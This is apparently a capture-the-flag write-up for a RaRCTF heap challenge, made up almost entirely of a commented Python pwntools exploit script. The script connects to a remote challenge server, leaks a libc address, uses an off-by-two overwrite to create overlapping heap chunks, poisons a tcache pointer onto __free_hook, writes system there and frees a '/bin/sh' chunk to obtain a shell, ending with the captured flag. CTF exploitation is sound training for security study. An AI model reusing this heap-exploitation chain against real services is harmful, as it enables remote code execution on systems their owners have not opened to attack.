Tags: pwn heap 

Rating: 1.5

#!/usr/bin/python
#dont judge my python2 :)
from pwn import *

# p= process('./unintended')
p =remote('193.57.159.27',52018)

# pid = gdb.attach(p,gdbscript='''
#   b * menu
#   ''')



#Helper functions
def make_challenge(index,category,name,desc_len,desc,points):

    p.sendlineafter('> ','1')
    p.sendlineafter('number: ',str(index))
    p.sendlineafter('category: ',category)
    p.sendlineafter('name: ',name)
    p.sendlineafter('length: ',str(desc_len))
    p.sendlineafter('description: ',desc)
    p.sendlineafter('Points: ',str(points))


def patch_challenge(index,desc):

    p.sendlineafter('> ','2')
    p.sendlineafter('number: ',str(index))
    p.sendafter('description: ',desc)


def deploy_challenge(index):

    p.sendlineafter('> ','3')
    p.sendlineafter('number: ',str(index))

def take_down_challenge(index):

    p.sendlineafter('> ','4')
    p.sendlineafter('number: ',str(index))


def leak(): 

    #Target for leak
    make_challenge(0,'AAAAAAAA','BBBBBBBB',2000,'CCCCCCC|',100)

    #Holder for top chunk not to consolidate
    make_challenge(1,'AAAAAAAA','BBBBBBBB',10,'CCCCCCC|',100)

    #Free target
    take_down_challenge(0)

    #Put the same chunk on the same place but only overwrite 8 bytes of fp to get printf to printout bp's address
    make_challenge(0,'AAAAAAAA','BBBBBBBB',2000,'CCCCCCC|',100)

    #View the leak
    deploy_challenge(0)

    #Parse the leak
    p.recvuntil('|')
    leak = u64(p.recv(6).ljust(8,'\0'))

    print hex(leak)
    return leak

def code_redirect(where,what):

    #Target for off by 2 attack fill it up with data so we can attack strlen later
    make_challenge(2,'AAAAAAAA','BBBBBBBB',2000,'C'*2000,100)

    #Target for overlapping chunk attack 
    make_challenge(3,'AAAAAAAA','BBBBBBBB',10,'CCCCCCC|',100)

    #Holder not to consolidate with top chunk
    make_challenge(5,'AAAAAAAA','BBBBBBBB',10,'CCCCCCC|',100)

    #Free target for overlap to put it in unsorted bin to trigger consolidation
    take_down_challenge(2)

    #Put half the size chunk in the same address as [2] and fill it up to overwrite bk and fp so there is no nullbytes
    #Important for strlen
    make_challenge(2,'web','before',1000,'X'*50,100)

    #Strlen will return size+2 (2 for the size in the header of the blob in unsorted bin since there are no \0 in body)
    #We use that to overwrite the size of this free chunk to make it larger(we will use that to overwrite freed chunks later)
    patch_challenge(2,'\0'*0x3e8 + '\xff\x05')

    #We allocate the descrption chunk large enough to get unsorted bin blob pointing just above [3] so next time we allocate a chunk we will be
    #Able to overwrite [3] fd pointer to redirect code
    #We also set the name of the chunk to /bin/sh\0 to free it later when we overwrite free_hook
    make_challenge(4,'/bin/sh\0','after',0x380,'D'*50,100) #B1
    
    #Free the chunk to get it into Tcache bin, we will now allocate another chunk and overwrite this chunks fd pointer and trigger a chain reaction
    #That leads to forcing malloc to return arbitrary pointer
    take_down_challenge(3)
    
    #Allocate another chunk that overlaps with [3], now we are able to overwrite [3] fd pointer with whatever we want, i chose __free_hook
    make_challenge(7,'DDDDDDDD','EEEEEEEE',150,'FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF'+p64(where),100)
    
    #We malloc 2 more chunks and in the second one will be allocated onto _free_hook, so we write there
    make_challenge(8,'AAAAAAAA','BBBBBBBB',10,'C',100)
    make_challenge(9,'AAAAAAAA','BBBBBBBB',10,p64(what),100)
    
    #Remember the chunk before whos name we set to /bin/sh\0 ? well this is how we get a shell, we free that chunk after having overwritten
    #__free_hook with system
    take_down_challenge(4)
    


def exploit():
    libc_leak = leak()
    
    libc_base = libc_leak -0x3ebc0a
    
    free_hook = libc_base +0x0000000003ed8e8

    one_gadget = libc_base +0x10a41c
    
    one_gadget1 = libc_base +0x4f432

    one_gadget2 = libc_base +0x4f3d5
    system = libc_base +0x00000000004f550
    
    #Logging
    print 'libc base: ',hex(libc_base)
    print 'free hook: ',hex(free_hook)
    print 'one gadget: ',hex(one_gadget2)
    print 'system: ',hex(system)

    #we will write addr of system on __free_hook
    code_redirect(free_hook, system)

if __name__ == '__main__':
    exploit()
    p.interactive()
    #rarctf{y0u_b3tt3r_h4v3_us3d_th3_int3nd3d...89406fae76}